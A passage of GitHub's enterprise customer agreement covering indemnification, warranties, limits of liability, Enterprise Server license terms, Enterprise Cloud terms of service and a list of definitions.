and entire liability for such claims. - -#### 1.5.1 GitHub. - -GitHub will defend Customer against any claim brought by an unaffiliated third party to the extent it alleges Customer’s authorized use of the Software or Service infringes a copyright, patent, or trademark or misappropriates a trade secret of an unaffiliated third party. If GitHub is unable to resolve any such claim under commercially reasonable terms, it may, at its option, either: (i) modify, repair, or replace the Software or Service (as applicable); or (ii) terminate Customer’s subscription and refund any prepaid, unused subscription fees. GitHub will have no obligation under this Section 1.5.1 for any such claim arising from: (a) the modification of the Software or Service, or the combination, operation, or use of the Software or Service with equipment, devices, software, systems, or data, other than as expressly authorized by this Agreement (including the Documentation); (b) Customer’s failure to stop using the Software or Service after receiving notice to do so; (c) Customer’s obligations under Section 1.5.2; (d) products or services (including use of the Software or Service) that are provided by GitHub free of charge; or (e) access or use of Beta Previews. For purposes of GitHub’s obligation under this Section 1.5.1, the Software and the Service include open source components incorporated by GitHub therein. - -#### 1.5.2 Customer. - -Customer will defend GitHub against any claim brought by an unaffiliated third party arising from: (i) Customer Content that Customer uploads to the Software or the Service; (ii) Customer's violation of this Agreement, including Customer’s breach of confidentiality or violation of GitHub's acceptable use terms; (iii) Customer Modifications to the Software; or (iv) any third party-branded equipment, devices, software, systems, or data that Customer combines, operates, or uses with the Software or Service. - -### 1.6 Representations and Warranties; Disclaimer; Limitations of Liability. - -#### 1.6.1 General Warranty. - -Each Party represents and warrants to the other that it has the legal power and authority to enter into this Agreement, and that this Agreement and each Order Form and SOW is entered into by an employee or agent of such Party with all necessary authority to bind such Party to the terms and conditions of this Agreement. - -#### 1.6.2 Limited Warranties. - -**(i) Software.** GitHub warrants that: (1) the unmodified Software, at the time it is made available to Customer for download, will not contain or transmit any malware, viruses, or worms (otherwise known as computer code or other technology specifically designed to disrupt, disable, or harm Customer’s software, hardware, computer system, or network); and (2) for ninety (90) days from the date it is made available for initial download, the unmodified Software will substantially conform to its Documentation. GitHub does not warrant that Customer’s use of the Software will be uninterrupted, or that the operation of the Software will be error-free. The warranty in this Section 1.6.2(i) will not apply if Customer modifies or uses the Software in any way that is not expressly permitted by Section 2 and the Documentation. GitHub's only obligation, and Customer’s only remedy, for any breach of this warranty will be, at GitHub's option and expense, to either (a) repair the Software; (b) replace the Software; or (c) terminate this Agreement with respect to the defective Software, and refund the unused, prepaid Fees for the defective Software during the then-current Subscription Term. - -**(ii) Professional Services.** GitHub warrants to Customer that any Professional Services performed under this Agreement will be performed in a professional and workmanlike manner by appropriately qualified personnel. GitHub's only obligation, and Customer’s only remedy, for a breach of this warranty will be, at GitHub's option and expense, to either: (1) promptly re-perform any Professional Services that fail to meet this warranty; or (2) if the breach cannot be cured, terminate the SOW and refund the unused, prepaid Fees. - -#### 1.6.3 Disclaimer. - -**(i) Generally.** Except as expressly provided in this Agreement, GitHub does not make any other warranties and representation of any kind, and hereby specifically disclaims any other warranties, whether express, implied, or statutory, including but not limited to warranties of merchantability, fitness for a particular purpose, non-infringement, or any warranties or conditions arising out of course of dealing or usage of trade. No advice or information, whether oral or written, provided by GitHub or anywhere else will create any warranty or condition not expressly stated in this Agreement. - -**(ii) Service.** GitHub provides the Service **“AS IS”** and **“AS AVAILABLE”** without warranty of any kind. Without limiting this, GitHub expressly disclaims all warranties, whether express, implied or statutory, regarding the Service, including, without limitation, any warranty of merchantability, fitness for a particular purpose, title, security, accuracy and non-infringement. GitHub does not warrant that the Service will meet Customer's requirements; that the Service will be uninterrupted, timely, secure, or error-free; that the information provided through the Service is accurate, reliable or correct; that any defects or errors will be corrected; that the Service will be available at any particular time or location; or that the Service is free of viruses or other harmful components. GitHub will not be responsible for any risk of loss resulting from Customer's downloading and/or use of files, information, Content or other material obtained from the Service. - -**(iii) Beta Previews.** Customer may choose to use Beta Previews in its sole discretion. Beta Previews may not be supported and may be changed at any time without notice. Beta Previews may not be as reliable or available as the Service. Beta Previews are not subject to the same security measures and auditing to which the Service has been and is subject. GitHub will have no liability arising out of or in connection with Beta Previews. **Customer uses Beta Previews at its own risk.** - -#### 1.6.4 Limitations of Liability. - -**(i) Indirect Damages. To the maximum extent permitted by applicable law, in no event will either party be liable to the other party or to any third party for any indirect, special, incidental, punitive, or consequential damages (including for loss of profits, revenue, or data) or for the cost of obtaining substitute products arising out of or in connection with this Agreement, however caused, whether such liability arises from any claim based upon contract, warranty, tort (including negligence), strict liability or otherwise, and whether or not a party has been advised of the possibility of such damages.** - -**(ii) Limitation of Total Liability. To the maximum extent permitted by applicable law, in no event will either party's total cumulative liability under this Agreement from all causes of action and all theories of liability exceed the Fees Customer has actually paid to GitHub during the 12 months preceding the claim giving rise to such liability. For products and services (including use of the Products) that are provided free of charge, GitHub’s liability is limited to direct damages up to $5,000.00 USD. For Beta Previews, GitHub's liability is limited to direct damages up to $500.00 USD.** - -**(iii) Exceptions. The exclusions and limitations set forth in this Section 1.6.4 will not apply to liability arising out of (1) a Party’s breach of its confidentiality obligations in Section 1.4 (except for all liability related to Content (excluding GitHub Content), which will remain subject to the limitations and exclusions above); (2) a Party’s defense obligations in Section 1.5; or (3) Customer’s non-compliance with the license grant or license restrictions in Sections 2.1 and 2.2.** - -### 1.7 Subscription Licenses. - -Subscription Licenses are granted on a per User basis and multiple Users may not use the same Subscription License. Customer may reassign a Subscription License to a new User only after ninety (90) days from the last reassignment of that same Subscription License, unless the reassignment is due to (i) permanent hardware failure or loss, (ii) termination of the User’s employment or contract, or (iii) temporary reallocation of Subscription Licenses to cover a User’s absence. When Customer reassigns a Subscription License from one User to another, Customer must block the former User’s access to the Subscription License and Customer’s Organizations. - -### 1.8 Affiliates. - -Customer’s Affiliates are authorized to use the Software and Service in accordance with this Agreement, so long as Customer remains fully responsible for their access and use of the Software and Service. - -### 1.9 Support. - -GitHub will provide Support for the Software and Service as follows: - -#### 1.9.1 Standard Support. - -GitHub will provide standard technical Support for the Software and Service at no additional charge twenty-four (24) hours per day, five (5) days per week, excluding weekends and national U.S. holidays. Standard Support is only offered via web-based ticketing through GitHub Support, and Support requests must be initiated from a User with which GitHub's Support team can interact. - -#### 1.9.2 Enhanced Support Offerings. - -GitHub may provide enhanced Support offerings for the Software and Service (including the Premium, Premium Plus, and Engineering Direct Support offerings) in accordance with the [Support terms](/support/learning-about-github-support/about-github-premium-support), and at the Support level, Fees, and Subscription Term specified in an Order Form or SOW. - -#### 1.9.3 Exclusions. - -GitHub will use reasonable efforts to correct any material, reproducible errors in the Software of which Customer notifies GitHub. However, GitHub will not be responsible for providing Support where (i) someone (other than GitHub) modifies the Software; (ii) Customer changes its operating system or environment in a way that adversely affects the Software or its performance; (iii) Customer uses the Software in a manner other than as authorized under this Agreement or the Documentation; or (iv) there is negligence or misuse by Customer of the Software. - -### 1.10 Intellectual Property Rights. - -As between the Parties, GitHub owns all right, title and interest, including all intellectual property rights, in and to the Products. GitHub reserves all rights in and to the Products not expressly granted to Customer under this Agreement. GitHub may use, modify, and incorporate into its Products, any Feedback, comments, or suggestions that Customer may provide or post in forums without any obligation to Customer. - -### 1.11 Feedback. - -Customer may provide Feedback to GitHub regarding the Products. Feedback is voluntary and is not Customer Confidential Information, even if designated as such. GitHub may fully exercise and exploit such Feedback for the purpose of (i) improving the operation, functionality and use of GitHub’s existing and future product offerings and commercializing such offerings; and (ii) publishing aggregated statistics about the quality of the Products, provided that no data in any such publication will be used to specifically identify Customer, its employees or Customer’s proprietary software code. - -### 1.12 Compliance with Laws and Regulations. - -Customer will comply with all applicable laws and regulations, including, but not limited to, data protection and employment laws and regulations, in its use of the Products. - -### 1.13 General Provisions. - -#### 1.13.1 Governing Law; Venue. - -If Customer’s principal office is in the Americas, this Agreement will be governed by and construed in accordance with the laws of the State of California, without giving effect to the principles of conflict of law, any legal action or proceeding arising under this Agreement will be brought exclusively in the federal or state courts located in the Northern District of California, and the Parties hereby consent to personal jurisdiction and venue therein. If Customer’s principal office is outside the Americas, this Agreement will be governed by the laws of Ireland, any legal action or proceeding arising under this Agreement will be brought exclusively in the courts located in Dublin, and the Parties hereby consent to personal jurisdiction and venue therein. The Parties expressly agree that the United Nations Convention on Contracts for the International Sale of Goods and the Uniform Computer Information Transactions Act will not apply to this Agreement. Notwithstanding anything to the contrary in the foregoing, GitHub may bring a claim for equitable relief in any court with proper jurisdiction. - -#### 1.13.2 U.S. Government Users. - -The Products were developed solely with private funds and are considered "Commercial Computer Software" and "Commercial Computer Software Documentation" as described in Federal Acquisition Regulations 12.212 and 27.405-3, and Defense Federal Acquisition Regulation Supplement 227.7202-3. The Products are licensed to the U.S. Government end user as restricted computer software and limited rights data. No technical data or computer software is developed under this Agreement. Any use, disclosure, modification, distribution, or reproduction of the Products or Documentation by the U.S. Government or its contractors is subject to the restrictions set forth in this Agreement. All other use is prohibited. - -#### 1.13.3 Export. - -The Products are subject to export restrictions by the U.S. Government and import restrictions by certain foreign governments, and Customer will comply with all applicable export and import laws and regulations in Customer’s use of the Products. Customer must not, and must not allow any third party to, remove or export from the United States or allow the export or re-export of any part of the Products or any direct product thereof: (i) into (or to a national or resident of) any embargoed or terrorist-supporting country; (ii) to anyone on the U.S. Commerce Department's Table of Denial Orders or U.S. Treasury Department's list of Specially Designated Nationals; (iii) to any country to which such export or re-export is restricted or prohibited, or as to which the U.S. government or any agency thereof requires an export license or other governmental approval at the time of export or re-export without first obtaining such license or approval; or (iv) otherwise in violation of any export or import restrictions, laws or regulations of any United States or foreign agency or authority. Customer represents and warrants that (a) Customer is not located in, under the control of, or a national or resident of any such prohibited country or on any such prohibited party list and (b) none of Customer’s data is controlled under the U.S. International Traffic in Arms Regulations. Customer acknowledges and agrees that the Products are restricted from being used for the design or development of nuclear, chemical, or biological weapons or missile technology without the prior permission of the U.S. Government. - -#### 1.13.4 No Publicity without Permission. - -GitHub may identify Customer as a customer to current and prospective customers. However, GitHub may not use Customer’s name or logo in any advertising or marketing materials without Customer’s permission. - -#### 1.13.5 Assignment. - -Neither Party may assign or otherwise transfer this Agreement, in whole or in part, without the other Party's prior written consent, such consent not to be unreasonably withheld, and any attempt to do so will be null and void, except that GitHub may assign this Agreement in its entirety, upon notice to the other party but without the other Party's consent, in connection with a merger, acquisition, corporate reorganization, or sale of all or substantially all of the assigning party's business or assets. - -#### 1.13.6 Notices. - -Unless otherwise stated herein, any notice, request, demand or other communication under this Agreement must be in writing (e-mail is acceptable), must reference this Agreement, and will be deemed to be properly given: (i) upon receipt, if delivered personally; (ii) one (1) business day following confirmation of receipt by the intended recipient, if by e-mail; (iii) five (5) business days after it is sent by registered or certified mail, with written confirmation of receipt and email; or (iv) three (3) business days after deposit with an internationally recognized express courier and email, with written confirmation of receipt. Notices can be sent to the address(es) set forth in this Agreement, unless a Party notifies the other that those addresses have changed. - -#### 1.13.7 Force Majeure. - -GitHub will be excused from liability to the extent that it is unable to perform any obligation under this Agreement due to extraordinary causes beyond its reasonable control, including acts of God, natural disasters, strikes, lockouts, riots, acts of war, epidemics, or power, telecommunication or network failures. - -#### 1.13.8 Independent Contractors. - -Each Party is an independent contractor with respect to the subject matter of this Agreement. Nothing contained in this Agreement will be deemed or construed in any manner to create a legal association, partnership, joint venture, employment, agency, fiduciary, or other similar relationship between the Parties, and neither Party can bind the other contractually. - -#### 1.13.9 Waiver. - -A Party's obligations under this Agreement may only be waived in writing signed by an authorized representative of the other Party. No failure or delay by a Party to this Agreement in exercising any right hereunder will operate as a waiver thereof, nor will any single or partial exercise thereof preclude any other or further exercise thereof or the exercise of any right hereunder at law or equity. - -#### 1.13.10 Entire Agreement. - -This Agreement, together with the Exhibits and each Order Form and SOW, constitutes the entire agreement and understanding of the Parties with respect to its subject matter, and supersedes all prior or contemporaneous understandings and agreements, whether oral or written, between the Parties with respect to such subject matter. The terms of any Customer purchase order, written terms or conditions, or other document that Customer submits to GitHub that contains terms that are different from or in addition to the terms of this Agreement, any Order Form or SOW will be void and of no effect. - -#### 1.13.11 Amendments; Order of Precedence. - -GitHub reserves the right, at its sole discretion, to amend this Agreement at any time and will update this Agreement in the event of any such amendments. GitHub will notify Customer of material changes to this Agreement, such as price increases, at least 30 days prior to the change taking effect by posting a notice on the Service or sending email to the primary email address specified in your GitHub account. Customer's continued use of the Service after those 30 days constitutes agreement to those revisions of this Agreement. For any other modifications, Customer's continued use of the Service constitutes agreement to our revisions of this Agreement. Customer can view all changes to this Agreement in our [Site Policy](https://github.com/github/site-policy) repository. In the event of any conflict between the terms of this Agreement and any Order Form or SOW, the terms of the Order Form or SOW will control with respect to that Order Form or SOW only. - -#### 1.13.12 Severability. - -If any provision of this Agreement is deemed by a court of competent jurisdiction to be illegal, invalid, or unenforceable, the Parties will modify or reform this Agreement to give as much effect as possible to that provision. Any provision that cannot be modified or reformed in this way will be deemed deleted and the remaining provisions of this Agreement will continue in full force and effect. - -## SECTION 2: GITHUB ENTERPRISE SERVER LICENSE TERMS - -This Section 2 details terms applicable to Customer’s use of the Software. - -### 2.1 License Grant. - -GitHub grants to Customer a non-exclusive, non-transferable, worldwide, royalty-free, limited-term license to install and use the Software for Customer’s internal business purposes during the applicable Subscription Term, in accordance with the Documentation, and only for the number of Subscription Licenses stated in Customer’s Order Form. The Software includes components licensed to GitHub by third parties, including software whose licenses require GitHub to make the source code for those components available. The source code for such components will be provided upon request. Without limiting the foregoing, this license permits Customer to download and run Microsoft SQL Server Standard Edition container image for Linux files (“**SQL Server Images**”), which may be used only with the Software as documented. Customer’s right to use the SQL Server Images ends when Customer no longer has rights to use the Software, and Customer must uninstall the SQL Server Images when its right to use them ends. Microsoft Corporation may disable SQL Server Images at any time. - -### 2.2 License Restrictions. - -Except as expressly permitted by law or by applicable third-party license, Customer and its Affiliates must not and must not allow any third party to: (i) sublicense, sell, rent, lease, transfer, assign, or redistribute the Software; (ii) host the Software for the benefit of third parties; (iii) disclose or permit any third party to access the Software, except as expressly permitted in this Section 2; (iv) hack or modify the License Key, or avoid or change any license registration process; (v) except for Customer Modifications, modify or create derivative works of the Software, or merge the Software with other software; (vi) disassemble, decompile, bypass any code obfuscation, or otherwise reverse engineer the Software or attempt to derive any of its source code, in whole or in part; (vii) modify, obscure, or delete any proprietary rights notices included in or on the Software or Documentation; or (viii) otherwise use or copy the Software or Documentation in a manner not expressly permitted by this Agreement. - -### 2.3 Delivery. - -GitHub will make the License Key available for Customer to download on a secure, password-protected website. All deliveries under this Section 2 will be electronic. For the avoidance of doubt, Customer is responsible for installation of any Software and acknowledge that GitHub has no further delivery obligation with respect to the Software after delivery of the License Key. As Updates become available, GitHub will make those available for download on the same website. Customer must Update the Software on a commercially reasonable basis but no less than one (1) time per year. Customer is responsible for maintaining the confidentiality of Customer’s usernames and passwords. - -### 2.4 Verification. - -At GitHub's request, Customer will promptly provide GitHub with a Software-generated report verifying that Customer is using the Software in accordance with this Agreement. GitHub will invoice Customer for any additional use, effective from the date its use first exceeded the terms of the Agreement. - -### 2.5 Updates; Releases. - -#### 2.5.1 Generally. - -GitHub will make Updates and Releases to the Software available to Customer on the same secure website where Customer downloaded the Software and the License Key. - -#### 2.5.2 Supported Releases. - -GitHub will only Support a given Release of the Software for one (1) year from the original Release date, or six (6) months from the last Update of the Release, whichever is longer. If Customer requires Support for earlier Releases of the Software, then Customer must pay for that Support in accordance with the terms of a mutually agreed upon Order Form or SOW. - -### 2.6 Data Protection Considerations for Use of GitHub Insights and Learning Lab for Enterprise Server. - -If Customer’s planned use of GitHub Insights or Learning Lab for Enterprise Server involves processing personal data, Customer is solely responsible for determining whether or not to complete a data protection impact assessment or otherwise secure formal legal analysis of Customer’s planned use. It is in Customer’s sole discretion whether to use GitHub Insights or Learning Lab for Enterprise Server to process Customer’s employees’ and/or users’ data, and if Customer does so, Customer is solely responsible for conducting such processing in compliance with applicable law. - -### SECTION 3: GITHUB ENTERPRISE CLOUD TERMS OF SERVICE - -Upon creation of a Corporate Account and/or an Organization on the Service by Customer or by GitHub on Customer’s behalf, this Section 3 details terms applicable to Customer’s use of the Service. - -### 3.1 Account Terms. - -#### 3.1.1 Account Controls. - -**(i) Users.** Customer acknowledges that Users retain ultimate administrative control over their individual accounts and the Content within them. [GitHub's Standard Terms of Service](/site-policy/github-terms/github-terms-of-service) govern Users' use of the Service, except with respect to Users' activities under this Section 3. - -**(ii) Organizations.** Customer retains ultimate administrative control over any Organization created on Customer’s behalf and User-Generated Content posted to the repositories within its Organization(s), subject to this Section 3. This Section 3 will govern the use of Customer’s Organization(s). - -#### 3.1.2 Account Requirements. - -In order to create an account, Customer must adhere to the following: - -**(i)** Customer must not create an account for use of any person under the age of 13. If GitHub learns of any User under the age of 13, it will terminate that User's account immediately. If Customer or its User(s) are located in a country outside the United States, that country's minimum age may be older; in such a case, Customer is responsible for complying with that country's laws. - -**(ii)** A User’s login may not be shared by multiple people. - -**(iii)** Customer must not use the Service (a) in violation of export control or sanctions laws of the United States or any other applicable jurisdiction, (b) if it is located in or ordinarily resident in a country or territory subject to comprehensive sanctions administered by the U.S. Office of Foreign Assets Control (OFAC), or (c) if Customer is or is working on behalf of a [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) or a person subject to similar blocking or denied party prohibitions. For more information, please see [GitHub’s Export Controls policy](/site-policy/other-site-policies/github-and-trade-controls). - -#### 3.1.3 Account Security. - -Customer is responsible for: (i) all Content posted and activity that occurs under its Corporate Account; (ii) maintaining the security of its account login credentials; and (iii) promptly notifying GitHub via the contact form available at [GitHub Support](https://support.github.com/) upon becoming aware of any unauthorized use of, or access to, the Service through its account. GitHub will not be liable for any loss or damage from Customer’s failure to comply with this Section 3.1.3. - -#### 3.1.4 Additional Terms. - -In some situations, third parties' terms may apply to Customer’s use of the Service. For example, Customer may be a member of an Organization with its own terms or license agreements; Customer may download an application that integrates with the Service; or Customer may use the Service to authenticate to another service. While this Agreement is GitHub's full agreement with Customer, other parties' terms govern their relationships with Customer. - -#### 3.1.5 U.S. Federal Government Terms. - -If Customer is a U.S. federal government agency or otherwise accessing or using any portion of the Service in a government capacity, the [U.S. Federal Government Amendment](/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users) applies, and Customer agrees to its provisions. - -### 3.2 Compliance with Laws; Acceptable Use; Privacy. - -#### 3.2.1 Compliance with Laws and Regulations. - -Customer’s use of the Service must not violate any applicable laws, including copyright or trademark laws, export control laws, or regulations in its jurisdiction. - -#### 3.2.2 Acceptable Use. - -Customer’s use of the Service must comply with [GitHub's Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies) and [GitHub’s Community Guidelines](/site-policy/github-terms/github-community-guidelines). Customer must not use the Service in any jurisdiction for unlawful, obscene, offensive or fraudulent Content or activity, such as advocating or causing harm, interfering with or violating the integrity or security of a network or system, evading filters, sending unsolicited, abusive, or deceptive messages, viruses or harmful code, or violating third party rights. - -#### 3.2.3 Privacy. - -[The GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement) and the [GitHub Data Protection Addendum](https://github.com/customer-terms) provide detailed notice of GitHub's privacy and data use practices as well as GitHub's processing and security obligations with respect to Customer Personal Data. Any person, entity, or service collecting data from the Service must comply with the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement), particularly in regards to the collection of Users' Personal Information (as defined in the GitHub Privacy Statement). If Customer collects any User Personal Information from GitHub, Customer will only use it for the purpose for which the External User has authorized it. Customer will reasonably secure any such Personal Information, and Customer will respond promptly to complaints, removal requests, and "do not contact" requests from GitHub or External Users. - -### 3.3 Content Responsibility; Ownership; License Rights. - -#### 3.3.1 Responsibility for User-Generated Content. - -Customer may create or upload User-Generated Content while using the Service. Customer is solely responsible for any User-Generated Content that it posts, uploads, links to or otherwise makes available via the Service, regardless of the form of that User-Generated Content. GitHub is not responsible for any public display or misuse of User-Generated Content. - -#### 3.3.2 Ownership of Content, Right to Post, and License Grants. - -**(i)** Customer retains ownership of Customer Content that Customer creates or owns. Customer acknowledges that it: (a) is responsible for Customer Content, (b) will only submit Customer Content that Customer has the right to post (including third party or User-Generated Content), and (c) Customer will fully comply with any third-party licenses relating to Customer Content that Customer posts. - -**(ii)** Customer grants the rights set forth in Sections 3.3.3 through 3.3.6, free of charge and for the purposes identified in those sections until such time as Customer removes Customer Content from GitHub servers, except for Content Customer has posted publicly and that External Users have Forked, in which case the license is perpetual until such time as all Forks of Customer Content have been removed from GitHub servers. If Customer uploads Customer Content that already comes with a license granting GitHub the permissions it needs to run the Service, no additional license is required. - -#### 3.3.3 License Grant to GitHub. - -Customer grants to GitHub the right to store, parse, and display Customer Content, and make incidental copies, only as necessary to provide the Service. This includes the right to copy Customer Content to GitHub's database and make backups; display Customer Content to Customer and those to whom Customer chooses to show it; parse Customer Content into a search index or otherwise analyze it on GitHub's servers; share Customer Content with External Users with whom Customer chooses to share it; and perform Customer Content, in case it is something like music or video. These rights apply to both public and Private Repositories. This license does not grant GitHub the right to sell Customer Content or otherwise distribute or use it outside of the Service. Customer grants to GitHub the rights it needs to use Customer Content without attribution and to make reasonable adaptations of Customer Content as necessary to provide the Service. - -#### 3.3.4 License Grant to External Users. - -**(i)** Any Content that Customer posts publicly, including issues, comments, and contributions to External Users' repositories, may be viewed by others. By setting its repositories to be viewed publicly, Customer agree to allow External Users to view and Fork Customer’s repositories. - -**(ii)** If Customer sets its pages and repositories to be viewed publicly, Customer grants to External Users a nonexclusive, worldwide license to use, display, and perform Customer Content through the Service and to reproduce Customer Content solely on the Service as permitted through functionality provided by GitHub (for example, through Forking). Customer may grant further rights to Customer Content if Customer [adopts a license](/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository#including-an-open-source-license-in-your-repository). If Customer is uploading Customer Content that it did not create or own, Customer is responsible for ensuring that the Customer Content it uploads is licensed under terms that grant these permissions to External Users. - -#### 3.3.5 Contributions Under Repository License. - -Whenever Customer makes a contribution to a repository containing notice of a license, Customer licenses such contribution under the same terms and agrees that it has the right to license such contribution under those terms. If Customer has a separate agreement to license its contributions under different terms, such as a contributor license agreement, that agreement will supersede. - -#### 3.3.6 Moral Rights. - -Customer retains all moral rights to Customer Content that it uploads, publishes, or submits to any part of the Service, including the rights of integrity and attribution. However, Customer waives these rights and agrees not to assert them against GitHub, solely to enable GitHub to reasonably exercise the rights granted in Section 3.3, but not otherwise. - -### 3.4. Private Repositories. - -#### 3.4.1 Control. - -Customer is responsible for managing access to its Private Repositories, including invitations, administrative control of Organizations and teams, and termination of access. - -#### 3.4.2 Confidentiality. - -GitHub considers Customer Content in Customer’s Private Repositories to be Customer’s Confidential Information. GitHub will protect and keep strictly confidential the Customer Content of Private Repositories in accordance with Section 1.4. - -#### 3.4.3 Access. - -GitHub personnel may only access Customer’s Private Repositories in the situations described in our [Privacy Statement](/site-policy/privacy-policies/github-privacy-statement#repository-contents). - -Customer may choose to enable additional access to its Private Repositories. For example, Customer may enable various GitHub services or features that require additional rights to Customer Content in Private Repositories. These rights may vary depending on the service or feature, but GitHub will continue to treat Customer Content in Customer’s Private Repositories as Customer’s Confidential Information. If those services or features require rights in addition to those it needs to provide the Service, GitHub will provide an explanation of those rights. - -Additionally, we may be [compelled by law](/site-policy/privacy-policies/github-privacy-statement#for-legal-disclosure) to disclose the contents of your private repositories. - -GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/site-policy/privacy-policies/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security. - -### 3.5. Intellectual Property Notices. - -#### 3.5.1 GitHub's Rights to Content. - -The look and feel of the Service is copyright © GitHub, Inc. All rights reserved. Customer may not duplicate, copy, or reuse any portion of the HTML/CSS, JavaScript, or visual design elements or concepts without express written permission from GitHub. - -#### 3.5.2 Copyright Infringement and DMCA Policy. - -If Customer is a copyright owner and believes that Content on the Service violates Customer’s copyright, Customer may contact GitHub in accordance with GitHub's [Digital Millennium Copyright Act Policy](https://github.com/contact/dmca) by notifying GitHub via its [DMCA Form](https://github.com/contact/dmca-notice) or by emailing copyright@github.com. - -#### 3.5.3 GitHub Trademarks and Logos. - -If Customer would like to use GitHub's trademarks, Customer must follow all of GitHub's trademark guidelines, including those on the [GitHub Logos and Usage page](https://github.com/logos). - -### 3.6 Suspension. - -GitHub has the right to suspend access to all or any part of the Service, including removing Content, at any time for violation of this Agreement or to protect the integrity, operability, and security of the Service, effective immediately, with notice, unless such notice is prohibited by law or legal process or impedes the prevention of imminent harm to the Service or any third party. GitHub typically provides notice in the form of a banner or email on or before such suspension. GitHub will, in its discretion and using good faith, tailor any suspension as needed to preserve the integrity, operability, and security of the Service. - -### 3.7 Service Level Agreement. - -GitHub’s quarterly uptime commitment for the Service is provided in the [Enterprise Service Level Agreement](/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement). Customer will be entitled to a service credit if GitHub does not meet its service level. - -### 3.8 Service Changes. - -GitHub changes the Service via Updates and addition of new features. Subject to Section 3.7, GitHub reserves the right at any time to modify or discontinue, temporarily or permanently, the Service (or any part of it) with or without notice. - -### 3.9 Additional Service Features. - -Some Service features may be subject to additional terms as set forth in the [GitHub Additional Product Terms](/site-policy/github-terms/github-terms-for-additional-products-and-features). By accessing or using these features, Customer agrees to the GitHub Additional Product Terms. - -## EXHIBIT A: DEFINITIONS - -**"Active User"** means a User trying to access the Service at the time of an Outage. - -**”Add-On Software”** means Advanced Security, Insights, Learning Lab for Enterprise Server, and other additional Software add-on products that GitHub may offer from time to time. - -**“Advanced Security”** means the Software feature which enables Customer to identify security vulnerabilities through customizable and automated semantic code analysis. - -**"Affiliate"** means any entity that directly or indirectly controls, is controlled by, or is under common control with a party where "control" means having more than fifty percent (50%) ownership or the right to direct the management of the entity. - -**“All Users”** means, collectively, Customer’s Users and External Users who use the Service. - -**“Americas”** means the United States, Canada, Mexico, or a country in Central or South America or the Caribbean. - -**"Beta Previews"** mean software, services, or features identified as alpha, beta, preview, early access, or evaluation, or words or phrases with similar meanings. - -**"Confidential Information"** means all non-public information disclosed by either Party to the others, whether in writing, orally or by other means, designated as confidential or that the receiving Party knows or reasonably should know, under the circumstances surrounding the disclosure and the nature of the information, is confidential to the disclosing Party. For the avoidance of doubt, no Content posted on the Service will be considered Confidential Information except for Customer Content stored solely in Customer’s Private Repositories. Confidential Information does not include any information that (i) was or becomes publicly known through no fault of the receiving party; (ii) was rightfully known or becomes rightfully known to the receiving Party without confidential or proprietary restriction from a source other than the disclosing party who has a right to disclose it; (iii) is approved by the disclosing Party for disclosure without restriction in a written document which is signed by a duly authorized officer of such disclosing Party; (iv) the receiving Party independently develops without access to or use of the other Party's Confidential Information; or (v) is or has been stored or posted on the Service and outside of Customer’s Private Repositories. - -**“Connect”** or **“GitHub Connect”** means a feature included in the Software that enables Customer to connect the Software with the Service. Use of GitHub Connect is subject to the GitHub Connect terms set forth in the [GitHub Additional Product Terms](/site-policy/github-terms/github-terms-for-additional-products-and-features). - -**"Content"** means, without limitation, text, data, articles, images, photographs, graphics, software, applications, designs, features, and other materials that are featured, displayed, or otherwise made available through the Service. - -**"Corporate Account"** means an account created by a User on behalf of an entity. - -**"Customer"** means, collectively, the company or organization that has entered into this Agreement with GitHub by clicking on the "I AGREE" or similar button or by accessing the Products, its Affiliates and Representatives. - -**"Customer Content"** means Content that Customer creates, owns, or to which Customer holds the rights. - -**“Customer Modifications”** means Software modifications Customer may make solely for the purpose of developing bug fixes, customizations, or additional features to any libraries licensed under open source licenses that may be included with or linked to by the Software. - -**"Documentation"** means any manuals, documentation and other supporting materials relating to the Software or Service that GitHub provides or makes available to Customer. - -**"Effective Date"** is the earlier of the date on which Customer (i) agrees to the terms and conditions of this Agreement as described above, or (ii) first places an order for the Products. - -**"Essential Services"** means the services essential to GitHub's core version control functionality, including creating, Forking, and cloning repositories; creating, committing, and merging branches; creating, reviewing, and merging pull requests; and, web, API, and Git client interfaces to the core Git workflows. The following are examples of peripheral features and services not included: webhooks, Gists, Pages, and email notifications. - -**"External User"** means an individual, not including Customer’s Users, who visit or use the Service. -"Fees" means the fees Customer is required to pay GitHub to (i) use the Products during the applicable Subscription Term or (ii) receive Professional Services, as such fees are reflected on an Order Form or SOW. - -**"Feedback"** means any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback on GitHub products or services. - -**“Fees”** means the fees Customer is required to pay GitHub to (i) use the Products during the applicable Subscription Term or (ii) receive Professional Services, as such fees are reflected on an Order Form or SOW. - -**“Fork”** means to copy the Content of one repository into another repository. - -**"GitHub"** means, collectively, GitHub, Inc., its Affiliates and Representatives. - -**"GitHub Content"** means Content that GitHub creates, owns, or to which it holds the rights. - -**"GitHub Insights"** or **“Insights”** means the Software feature which provides Customer with metrics, analytics, and recommendations relating to their use of the Software. GitHub Insights does not include legacy features of GitHub including Organization insights and repository insights. - -**"Learning Lab for Enterprise Server"** means the Software feature that enables Users to learn about GitHub functionality, including associated Documentation. - -**"License Key"** means the data file used by the Software's access control mechanism that allows Customer to install, operate, and use the Software. - -**“Machine Account”** means an account registered by an individual human who accepts the applicable terms of service on behalf of the Machine Account, provides a valid email address, and is responsible for its actions. A Machine Account is used exclusively for performing automated tasks. Multiple Users may direct the actions of a Machine Account, but the owner of the account is ultimately responsible for the machine's actions. - -**"Order Form"** means written or electronic documentation (including a quote) that the Parties use to order the Products. - -**“Organization”** means a shared workspace that may be associated with a single entity or with one or more Users where multiple Users can collaborate across many projects at once. A User can be a member of more than one Organization. - -**"Outage"** means the interruption of an Essential Service that affects more than 50% of Active Users. - -**“Private Repository”** means a repository which allows a User to control access to Content. - -**"Professional Services"** means training, consulting, or implementation services that GitHub provides pursuant to a mutually executed SOW. Professional Services do not include Support. - -**“Public Repository”** means a repository whose Content is visible to All Users. - -**"Release"** means a Software release that GitHub makes generally available to its customers, along with any corresponding changes to Documentation, that contains 